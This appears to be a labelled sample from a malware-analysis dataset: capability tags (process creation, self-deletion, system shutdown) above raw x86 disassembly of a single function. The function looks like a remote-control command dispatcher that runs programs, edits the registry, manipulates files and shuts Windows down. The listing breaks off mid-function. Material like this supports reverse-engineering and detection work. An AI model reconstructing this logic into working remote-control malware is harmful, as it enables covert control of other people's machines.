Function at 0x451fb4
Capabilities:
Create process on windows
Self delete
Shutdown system

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x208], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403dfc
xor eax, eax
push ebp
push 0x45341a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403a64
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
cmp byte [eax + 0x58], 4
jne 0x4533cd
cmp dword [ebp - 0xc], 0
je 0x4533cd
mov edx, dword [ebp - 0xc]
mov eax, 0x453430
call fcn.00403ed4
dec eax
jne 0x4533cd
lea eax, [ebp - 0xc]
mov ecx, 3
mov edx, 1
call fcn.00403e8c
mov edx, dword [ebp - 0xc]
mov eax, 0x45343c
call fcn.00403ed4
dec eax
jne 0x45218d
lea eax, [ebp - 0xc]
mov ecx, 6
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
mov edx, 0x45344c
call fcn.00403d58
jne 0x452163
mov eax, dword [0x45b004]
mov eax, dword [eax]
mov eax, dword [eax + 0x1e0]
call fcn.00420560
mov eax, dword [0x45b004]
mov eax, dword [eax]
mov eax, dword [eax + 0x1e0]
mov eax, dword [eax + 0x118]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x45212f
inc ebx
xor esi, esi
fild dword [0x45c96c]
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.00451c68
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
cmp byte [eax + 0x58], 4
jne 0x45212b
push 0x45345c
lea ecx, [ebp - 0x208]
mov edx, esi
mov eax, dword [ebp - 0x10]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x208]
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
inc esi
dec ebx
jne 0x4520c3
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
cmp byte [eax + 0x58], 4
jne 0x45218d
mov edx, 0x453484
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x4534ac
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x45218d
mov eax, dword [0x45b004]
mov eax, dword [eax]
mov eax, dword [eax + 0x1dc]
add eax, 0x34
mov edx, dword [ebp - 0xc]
call fcn.00403a20
mov eax, dword [0x45b004]
mov eax, dword [eax]
mov eax, dword [eax + 0x1dc]
call fcn.00441564
mov edx, dword [ebp - 0xc]
mov eax, 0x4534e8
call fcn.00403ed4
dec eax
jne 0x45225a
lea eax, [ebp - 0xc]
mov ecx, 4
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
mov edx, 0x4534f8
call fcn.00403d58
jne 0x4521c9
push 0x40
call sub.user32.dll_MessageBeep
mov eax, dword [ebp - 0xc]
mov edx, 0x453504
call fcn.00403d58
jne 0x4521df
push 0x30
call sub.user32.dll_MessageBeep
mov eax, dword [ebp - 0xc]
mov edx, 0x453510
call fcn.00403d58
jne 0x4521f5
push 0x10
call sub.user32.dll_MessageBeep
mov eax, dword [ebp - 0xc]
mov edx, 0x45351c
call fcn.00403d58
jne 0x45220b
push 0x20
call sub.user32.dll_MessageBeep
mov eax, dword [ebp - 0xc]
mov edx, 0x453528
call fcn.00403d58
jne 0x452221
push 0
call sub.user32.dll_MessageBeep
push 0x453534
push dword [ebp - 0xc]
push 0x453558
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 4
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x45356c
call fcn.00403ed4
dec eax
jne 0x4522de
lea eax, [ebp - 0xc]
mov ecx, 9
mov edx, 1
call fcn.00403e8c
lea eax, [ebp - 0xc]
mov edx, 0x453580
call fcn.00403c50
push 1
push 0
push 0
lea eax, [ebp - 0xc]
call fcn.00403e18
push eax
push 0x453584
mov eax, dword [ebp - 4]
call fcn.00423d54
push eax
call sub.shell32.dll_ShellExecuteA
cmp eax, 2
jne 0x4522c8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453594
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x4522de
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x4535c4
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x4535f4
call fcn.00403ed4
dec eax
jne 0x452368
lea eax, [ebp - 0xc]
mov ecx, 6
mov edx, 1
call fcn.00403e8c
xor eax, eax
push ebp
push 0x452325
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
call fcn.0040729c
mov dword [0x45c96c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45232f
push 0x453604
push dword [ebp - 0xc]
push 0x453558
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 4
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x45362c
call fcn.00403ed4
dec eax
jne 0x452414
lea eax, [ebp - 0xc]
mov ecx, 9
mov edx, 1
call fcn.00403e8c
push 0x453640
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00451f2c
lea edx, [ebp - 0x208]
call fcn.00407230
push dword [ebp - 0x208]
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
push 0x453658
push dword [ebp - 0xc]
push 0x453680
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 4
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x453694
call fcn.00403ed4
dec eax
jne 0x45266b
lea eax, [ebp - 0xc]
mov ecx, 6
mov edx, 1
call fcn.00403e8c
mov edx, dword [ebp - 0xc]
mov eax, 0x4536a4
call fcn.00403ed4
dec eax
jne 0x4524f9
lea eax, [ebp - 0xc]
mov ecx, 6
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
mov edx, 0x4536b4
call fcn.00403d58
jne 0x45248e
mov eax, dword [ebp - 4]
add eax, 0xa30
call fcn.0041cbc8
mov eax, dword [ebp - 4]
add eax, 0xa30
call fcn.00405142
call fcn.00402744
mov eax, dword [ebp - 0xc]
mov edx, 0x4536c4
call fcn.00403d58
jne 0x4524f9
mov eax, dword [ebp - 4]
add eax, 0xa30
mov edx, 0x4536d4
call fcn.00404d5a
xor eax, eax
push ebp
push 0x4524d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
add eax, 0xa30
call fcn.00405142
call fcn.00402744
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4524f9
mov edx, dword [ebp - 0xc]
mov eax, 0x453724
call fcn.00403ed4
dec eax
jne 0x45256d
lea eax, [ebp - 0xc]
mov ecx, 5
mov edx, 1
call fcn.00403e8c
xor eax, eax
push ebp
push 0x45254d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
add eax, 0xa30
mov edx, dword [ebp - 0xc]
call fcn.00403f80
call fcn.00405387
call fcn.00402744
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45256d
mov edx, dword [ebp - 0xc]
mov eax, 0x453768
call fcn.00403ed4
dec eax
jne 0x45266b
lea eax, [ebp - 0xc]
mov ecx, 4
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
mov edx, 0x4536b4
call fcn.00403d58
jne 0x4525ca
mov eax, dword [ebp - 4]
add eax, 0xa30
call fcn.00404ec4
call fcn.00402744
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453778
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0xc]
mov edx, 0x4536c4
call fcn.00403d58
jne 0x45266b
xor eax, eax
push ebp
push 0x45262b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
add eax, 0xa30
call fcn.00404ec4
call fcn.00402744
push 1
push 0
push 0
mov eax, 0x4536d4
call fcn.00403e0c
push eax
push 0x453584
mov eax, dword [ebp - 4]
call fcn.00423d54
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x452655
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x4537f0
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x45382c
call fcn.00403ed4
dec eax
jne 0x452804
lea eax, [ebp - 0xc]
mov ecx, 9
mov edx, 1
call fcn.00403e8c
xor ebx, ebx
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x200]
call fcn.00404d5a
xor eax, eax
push ebp
push 0x4526c9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x200]
call fcn.0040513b
call fcn.00402744
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4526eb
test bl, bl
jne 0x452804
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x200]
call fcn.00403fa8
lea eax, [ebp - 0x200]
call fcn.004050d8
call fcn.00402744
push 0x453898
push dword [ebp - 0x14]
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.00403d08
mov eax, dword [ebp - 0x204]
call fcn.00403c48
inc eax
cmp eax, 0x400
jle 0x45276b
mov bl, 1
fild dword [0x45c96c]
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.00451c68
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x4538b0
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, ebx
xor al, 1
test al, al
je 0x4527a7
push 0x453898
push dword [ebp - 0x14]
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
lea eax, [ebp - 0x200]
call fcn.00404f54
call fcn.00402744
or al, bl
je 0x4526f3
lea eax, [ebp - 0x200]
call fcn.00404ec4
call fcn.00402744
xor bl, 1
test bl, bl
je 0x4527ee
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453910
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x452804
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x45394c
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x4539a8
call fcn.00403ed4
dec eax
jne 0x45284d
lea eax, [ebp - 0xc]
mov ecx, 9
mov edx, 1
call fcn.00403e8c
mov esi, 0x4539b4
mov edi, 0x45c958
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x45c964
mov edx, dword [ebp - 0xc]
call fcn.00403a20
mov eax, dword [0x45b004]
mov eax, dword [eax]
call fcn.00450ea8
mov edx, dword [ebp - 0xc]
mov eax, 0x4539c8
call fcn.00403ed4
dec eax
jne 0x452896
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.00403e8c
mov esi, 0x4539d4
mov edi, 0x45c958
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, 0x45c964
mov edx, dword [ebp - 0xc]
call fcn.00403a20
mov eax, dword [0x45b004]
mov eax, dword [eax]
call fcn.00450ea8
mov eax, dword [ebp - 0xc]
mov edx, 0x4539e4
call fcn.00403d58
jne 0x4528ac
mov byte [0x45c954], 1
mov edx, dword [ebp - 0xc]
mov eax, 0x4539fc
call fcn.00403ed4
dec eax
jne 0x45292b
lea eax, [ebp - 0xc]
mov ecx, 0xa
mov edx, 1
call fcn.00403e8c
mov eax, dword [0x45b004]
mov eax, dword [eax]
mov eax, dword [eax + 0x1e4]
mov edx, dword [eax]
call dword [edx + 0x5c]
mov byte [0x45c968], 1
mov eax, dword [0x45b004]
mov eax, dword [eax]
add eax, 0x9e8
call fcn.00404ec4
call fcn.00402744
mov eax, 0x45c958
mov edx, 0x4539b4
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402b58
jne 0x45292b
mov eax, dword [0x45c964]
call fcn.00407464
test al, al
je 0x45292b
mov eax, dword [0x45c964]
call fcn.004075d8
mov eax, dword [ebp - 0xc]
mov edx, 0x453a10
call fcn.00403d58
jne 0x452969
mov eax, dword [0x45b004]
mov eax, dword [eax]
mov eax, dword [eax + 0x1e4]
mov edx, dword [eax]
call dword [edx + 0x5c]
mov byte [0x45c968], 1
mov eax, dword [0x45b004]
mov eax, dword [eax]
add eax, 0x9e8
call fcn.00404ec4
call fcn.00402744
mov edx, dword [ebp - 0xc]
mov eax, 0x453a28
call fcn.00403ed4
dec eax
jne 0x4529c5
lea eax, [ebp - 0xc]
mov ecx, 0xa
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
call fcn.004075d8
test al, al
je 0x4529af
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453a3c
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x4529c5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453a68
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x453a98
call fcn.00403ed4
dec eax
jne 0x452aca
lea eax, [ebp - 0xc]
mov ecx, 7
mov edx, 1
call fcn.00403e8c
lea eax, [ebp - 0x18]
call fcn.004039cc
lea eax, [ebp - 0x1c]
call fcn.004039cc
mov edx, dword [ebp - 0xc]
mov eax, 0x453aa8
call fcn.00403ed4
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x452a38
mov esi, 1
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x18]
call fcn.00403c50
inc esi
dec ebx
jne 0x452a14
mov edx, dword [ebp - 0xc]
mov eax, 0x453aa8
call fcn.00403ed4
mov esi, eax
inc esi
mov eax, dword [ebp - 0xc]
call fcn.00403c48
mov ebx, eax
sub ebx, esi
jl 0x452a7b
inc ebx
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x1c]
call fcn.00403c50
inc esi
dec ebx
jne 0x452a57
fild dword [0x45c96c]
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.00451c68
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.004075f0
test al, al
je 0x452ab4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453ab4
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x452aca
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453ae0
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0xc]
mov edx, 0x453b10
call fcn.00403d58
jne 0x452aef
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453b1c
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0xc]
mov edx, 0x453b4c
call fcn.00403d58
jne 0x452b3f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x5c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, dword [eax]
call dword [edx + 0x5c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e8]
mov edx, dword [eax]
call dword [edx + 0x5c]
push 0
push 1
call sub.user32.dll_ExitWindowsEx
mov eax, dword [0x45afa8]
mov eax, dword [eax]
call fcn.0042f644
jmp 0x452b28
mov edx, dword [ebp - 0xc]
mov eax, 0x453b5c
call fcn.00403ed4
dec eax
jne 0x4530b0
lea eax, [ebp - 0xc]
mov ecx, 9
mov edx, 1
call fcn.00403e8c
mov edx, dword [ebp - 0xc]
mov eax, 0x453b70
call fcn.00403ed4
dec eax
jne 0x452e02
lea eax, [ebp - 0xc]
mov ecx, 5
mov edx, 1
call fcn.00403e8c
mov dl, 1
mov eax, dword [0x43bc34]
call fcn.0043bd68
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
add eax, 0xffffffd0
cmp eax, 5
ja case.default.0x452ba8
jmp dword [eax*4 + 0x452baf]
mov edx, 0x80000000
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452ba8
mov edx, 0x80000001
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452ba8
mov edx, 0x80000002
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452ba8
mov edx, 0x80000003
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452ba8
mov edx, 0x80000005
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452ba8
mov edx, 0x80000006
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
mov byte [ebp - 0x1d], al
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, 1
call fcn.00403e8c
lea eax, [ebp - 0x24]
call fcn.004039cc
lea eax, [ebp - 0x28]
call fcn.004039cc
lea eax, [ebp - 0x2c]
call fcn.004039cc
mov edx, dword [ebp - 0xc]
mov eax, 0x453b80
call fcn.00403ed4
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x452ca0
mov esi, 1
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x24]
call fcn.00403c50
inc esi
dec ebx
jne 0x452c7c
mov edx, dword [ebp - 0xc]
mov eax, 0x453b80
call fcn.00403ed4
mov esi, eax
add esi, 3
mov eax, dword [ebp - 0xc]
call fcn.00403c48
mov ebx, eax
sub ebx, esi
jl 0x452ce5
inc ebx
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x28]
call fcn.00403c50
inc esi
dec ebx
jne 0x452cc1
xor ecx, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
call fcn.0043bf54
test al, al
jne 0x452d21
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453b8c
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0x30]
call fcn.0043bdcc
mov eax, dword [ebp - 0x30]
call fcn.00402e9c
jmp 0x4533cd
xor eax, eax
push ebp
push 0x452d66
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 0x1d], 0x30
jne 0x452d43
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
call fcn.0043c228
cmp byte [ebp - 0x1d], 0x31
jne 0x452d5c
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
call fcn.0043c2b4
lea edx, [ebp - 0x2c]
call fcn.00407230
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x452da0
cmp dword [ebp - 0x2c], 0
je 0x452ddc
push 0x453c00
push dword [ebp - 0x2c]
push 0x453478
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.00403d08
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x452df2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453c24
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0x30]
call fcn.0043bdcc
mov eax, dword [ebp - 0x30]
call fcn.00402e9c
mov edx, dword [ebp - 0xc]
mov eax, 0x453c60
call fcn.00403ed4
dec eax
jne 0x4530b0
lea eax, [ebp - 0xc]
mov ecx, 6
mov edx, 1
call fcn.00403e8c
mov dl, 1
mov eax, dword [0x43bc34]
call fcn.0043bd68
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
add eax, 0xffffffd0
cmp eax, 5
ja case.default.0x452e45
jmp dword [eax*4 + 0x452e4c]
mov edx, 0x80000000
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452e45
mov edx, 0x80000001
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452e45
mov edx, 0x80000002
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452e45
mov edx, 0x80000003
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452e45
mov edx, 0x80000005
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
jmp case.default.0x452e45
mov edx, 0x80000006
mov eax, dword [ebp - 0x30]
call fcn.0043bdfc
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
mov byte [ebp - 0x1d], al
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, 1
call fcn.00403e8c
lea eax, [ebp - 0x24]
call fcn.004039cc
lea eax, [ebp - 0x28]
call fcn.004039cc
lea eax, [ebp - 0x2c]
call fcn.004039cc
mov edx, dword [ebp - 0xc]
mov eax, 0x453b80
call fcn.00403ed4
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x452f3d
mov esi, 1
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x24]
call fcn.00403c50
inc esi
dec ebx
jne 0x452f19
mov edx, dword [ebp - 0xc]
mov eax, 0x453b80
call fcn.00403ed4
mov esi, eax
add esi, 3
mov edx, dword [ebp - 0xc]
mov eax, 0x453c70
call fcn.00403ed4
mov ebx, eax
dec ebx
sub ebx, esi
jl 0x452f88
inc ebx
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x28]
call fcn.00403c50
inc esi
dec ebx
jne 0x452f64
mov edx, dword [ebp - 0xc]
mov eax, 0x453c70
call fcn.00403ed4
mov esi, eax
add esi, 3
mov eax, dword [ebp - 0xc]
call fcn.00403c48
mov ebx, eax
sub ebx, esi
jl 0x452fcd
inc ebx
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x2c]
call fcn.00403c50
inc esi
dec ebx
jne 0x452fa9
xor ecx, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
call fcn.0043bf54
test al, al
jne 0x453009
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453b8c
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0x30]
call fcn.0043bdcc
mov eax, dword [ebp - 0x30]
call fcn.00402e9c
jmp 0x4533cd
xor eax, eax
push ebp
push 0x453050
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 0x1d], 0x30
jne 0x45302b
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
call fcn.0043c1fc
cmp byte [ebp - 0x1d], 0x31
jne 0x453046
mov eax, dword [ebp - 0x2c]
call fcn.0040729c
mov ecx, eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
call fcn.0043c2a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45308a
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453cb8
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 0x30]
call fcn.0043bdcc
mov eax, dword [ebp - 0x30]
call fcn.00402e9c
mov edx, dword [ebp - 0xc]
mov eax, 0x453cf0
call fcn.00403ed4
dec eax
jne 0x4533cd
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.00403e8c
mov edx, dword [ebp - 0xc]
mov eax, 0x453d04
call fcn.00403ed4
dec eax
jne 0x453293
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.00403e8c
xor eax, eax
push ebp
push 0x453122
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e8]
mov edx, dword [eax]
call dword [edx + 0x5c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45314c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453d58
mov ecx, dword [eax]
call dword [ecx + 0x80]
lea eax, [ebp - 0x34]
call fcn.004039cc
mov edx, dword [ebp - 0xc]
mov eax, 0x453aa8
call fcn.00403ed4
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x4531a7
mov esi, 1
lea eax, [ebp - 0x204]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + esi - 1]
call fcn.00403b70
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x34]
call fcn.00403c50
inc esi
dec ebx
jne 0x453183
xor eax, eax
push ebp
push 0x4531d0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e8]
mov edx, dword [ebp - 0x34]
call fcn.00439c30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4531fa
mov edx, dword [ebp - 0xc]
mov eax, 0x453aa8
call fcn.00403ed4
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00403e8c
xor eax, eax
push ebp
push 0x45323f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e8]
mov edx, dword [ebp - 0xc]
call fcn.004399ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x453269
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453e20
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e8]
mov edx, dword [ebp - 0x34]
mov ecx, dword [eax]
call dword [ecx + 0x84]
mov eax, dword [ebp - 0xc]
mov edx, 0x453e64
call fcn.00403d58
jne 0x453308
xor eax, eax
push ebp
push 0x4532c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e8]
mov edx, dword [eax]
call dword [edx + 0x5c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4532f2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453d58
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov edx, dword [ebp - 0xc]
mov eax, 0x453e74
call fcn.00403ed4
dec eax
jne 0x4533cd
lea eax, [ebp - 0xc]
mov ecx, 5
mov edx, 1
call fcn.00403e8c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x1e8]
cmp byte [ebx + 0x58], 4
jne 0x4533b7
xor eax, eax
push ebp
push 0x453378
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x204]
mov ecx, 0x453478
mov edx, dword [ebp - 0xc]
call fcn.00403c94
mov edx, dword [ebp - 0x204]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x80]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45339f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
